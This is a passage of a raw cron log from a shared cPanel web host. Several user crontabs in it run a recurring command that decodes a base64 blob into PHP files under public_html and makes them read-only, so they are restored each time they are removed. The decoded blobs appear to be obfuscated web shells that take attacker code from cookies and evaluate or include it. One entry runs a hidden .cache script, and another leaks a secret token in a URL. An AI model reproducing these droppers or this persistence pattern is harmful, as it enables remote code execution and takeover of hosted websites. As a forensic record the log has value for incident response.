WdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:32:02 medusa CROND[8197]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 05:32:02 medusa CROND[8205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:32:02 medusa CROND[8209]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:32:02 medusa CROND[8211]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:33:01 medusa CROND[27887]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:33:01 medusa CROND[27888]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:33:01 medusa CROND[27890]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:33:01 medusa CROND[27891]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:33:01 medusa CROND[27893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:33:01 medusa CROND[27895]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:33:01 medusa CROND[27902]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:33:01 medusa CROND[27908]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:33:01 medusa CROND[27909]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:33:01 medusa CROND[27910]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:33:01 medusa CROND[27911]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 05:33:01 medusa CROND[27912]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:34:02 medusa CROND[14728]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:34:02 medusa CROND[14816]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 05:34:02 medusa CROND[14818]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:34:02 medusa CROND[14819]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:34:02 medusa CROND[14820]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:34:02 medusa CROND[14823]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:34:02 medusa CROND[14824]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:34:02 medusa CROND[14826]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:34:02 medusa CROND[14825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:34:02 medusa CROND[14832]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:34:02 medusa CROND[14847]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 05:34:02 medusa CROND[14853]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:34:02 medusa CROND[14854]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:35:01 medusa CROND[32179]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:35:02 medusa CROND[32467]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpv